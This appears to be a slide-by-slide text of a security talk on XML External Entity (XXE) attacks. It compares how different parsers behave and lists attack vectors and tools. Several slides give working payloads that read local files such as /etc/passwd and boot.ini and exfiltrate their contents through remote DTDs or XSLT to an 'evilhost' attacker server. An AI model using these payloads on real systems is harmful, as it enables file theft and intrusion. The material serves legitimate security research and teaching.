  • 9. XXE impact • Local file reading • Intranet access • Host-scan/Port-scan • Remote Code Execution (not so often) • Denial of Service
  • 10. XXE techniques • XML data output (basic) • Error-based XXE – DTD (invalid/values type definition) – Schema validation • Blind techniques – XSD values bruteforce (@d0znpp)
  • 11. Error based output • Schema validation In Xerces parser error : Invalid URI: :[file] I/O warning : failed to load external entity"[file]“ parser error : DOCTYPE improperly terminated Warning: *** [file] in *** on line 11 <!DOCTYPE html[ <!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]>
  • 12. XML constraints • XML validity/well-formedness – WFC: No External Entity References … in attributes – WFC: No < in Attribute Values – WFC: PEs in Internal Subset
  • 13. Parameter entities resolve/validation algorithm <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html [ <!ENTITY % internal SYSTEM "local_file.xml"> %internal;]> "Hello, World!"> ]> <!ENTITY title <html>&title;</html> local_file.xml: <!ENTITY title "Hello, World!">
  • 14. XXE attacks restrictions • XML parser reads only valid xml documents – No binary =( (http://www.w3.org/TR/REC-xml/#CharClasses) – Malformed first string (no encoding attribute) (Some parsers) – But we have wrappers! • Resulting document should also be valid – No external entities in attributes
  • 16. System entities restrictions bypass within attributes Well-formed constraint: – No External Entity References • So, this is not possible, right? <!DOCTYPE root[ <ENTITY internal SYSTEM "file:///etc/passwd"> ]> <root attrib="&internal;“/>
  • 17. System entities restrictions bypass within attributes <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> %remote; <!ENTITY internal '[boot loader] timeout ***'> %param1; ]> <root attrib="&internal;" /> Evil.xml <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
  • 18. Pattern validation <xs:restriction base="xs:string"> <xs:pattern value="&test;" /> </xs:restriction>
  • 19. DEMO
  • 21. XXE attacks restrictions Server-side in general (except Adobe XXE SOP bypass)
  • 23. XXE OOB What other OOB communication techniques are present? DNS exfiltration via SQL Injection (@stamparm) UTL_HTTP.REQUEST xp_fileexist Dblink LOAD_FILE
  • 24. XXE OOB <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM <!DOCTYPE root [ “http://evilhost/xml.xml”> <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> <root> &trick; %remote; </root> <!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20'> %int; %trick;]> Evil.xml <!ENTITY % payl SYSTEM "file:///c:/boot.ini"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://evil/?%payl;'>">
  • 25. XXE OOB DTD Parsing, SYSTEM reading XML Attacker Server PROFIT!
  • 26. Parsing restrictions • Beside restrictions of all entities there are also new ones • “PEReferences forbidden in internal subset” (c) XML Specification – So we should be able to read some external resource (local or remote) – Wrappers
  • 27. Parsing restrictions • Quotes are blocking definition of entities – One should try single/double quotes when defining entity <!ENTITY % int "<!ENTITY &#37; trick ‘*file content’+’>" • Space/new line/other whitespace symbols should not appear in URI – Wrappers again =) – Or not even needed
  • 28. Vectors • Depending on parser features – lack of DTD validation in main document doesn’t mean lack of validation everywhere. Some possible clues: – External DTD or Internal DTD subset from external data – Parameter entities only – XSD Schema – XSLT template
  • 29. Vectors • <!DOCTYPE root SYSTEM “…”> • <!ENTITY external PUBLIC “some_text” “…”> • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLocation=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?>
  • 30. XSLT OOB • Controlling XSLT transformation template we can access some data from sensitive host: <xsl:variable name="payload" select="document('http://sensitive_host/',/)"/> <xsl:variable name="combine" select="concat('http://evilhost/', $payload)"/> <xsl:variable name="result" select="document($combine)" />
  • 31. XSLT OOB • Depending on available features we can: – Get non-xml data using “unparsed-text” function – Enumerate services/hosts with “*-available” functions – With substring() we can craft such DNS hostname, that will let us obtain some sensitive data via malicious DNS request to our server
  • 32. DEMO
  • 33. Vectors WAT R U XML DOIN? XML STAHP!
  • 35. XXE OOB Profit • Server-side – Send file content over DNS/HTTP/HTTPs/Smb? – Without error/data output • Client-side products – Nobody has ever tried to hack oneself ;) – Lots of products…
  • 36. Parsers diff – MS with System.XML • Pros: – URL-encodes query string for OOB technique – Saves all line feeds in attributes • Cons: – Can’t read XML files without encoding declaration (we can still read Web.config .NET) – No wrappers (except system-wide)
  • 37. Parsers diff – Java Xerces • Pros: – Can read directories! – Sends NTLM auth data – Different wrappers • Cons: – Converts line feeds to spaces when inserting in attribute – Can’t read multiline files with OOB technique
  • 38. Parsers diff – libxml (PHP) • Pros – Wrappers! (expect://, data://) (http://www.slideshare.net/phdays/on-secure- application-of-php-wrappers) – Most liberal parsing ??? • Cons – Can’t read big files by default (>8Kb)
  • 39. Parsers diff MS System.XML Java Xerces Libxml (PHP) External entity in Line feeds are attribute value + converted to spaces + OOB read multiline + – + OOB Option is often read big files + + enabled Directory listing – + – Validating schema location – + –
  • 40. DEMO
  • 41. Tools XXE OOB Exploitation Toolset for Automation • DNS knocking • Vectors set • HTTP Server
  • 42. Tools Metasploit module (special thnx2 @vegoshin) • Vector set and HTTP server provided to you in your MSF ;-)
  • 43. DEMO
  • 44. Conclusions • General ruination? ;-) • Toolset • New ideas for new vectors and applications
  • 45. Special greetz • Arseniy Reutov • Ilya Karpov • Mihail Firstov • Sergey Pavlov • Vyacheslav Egoshin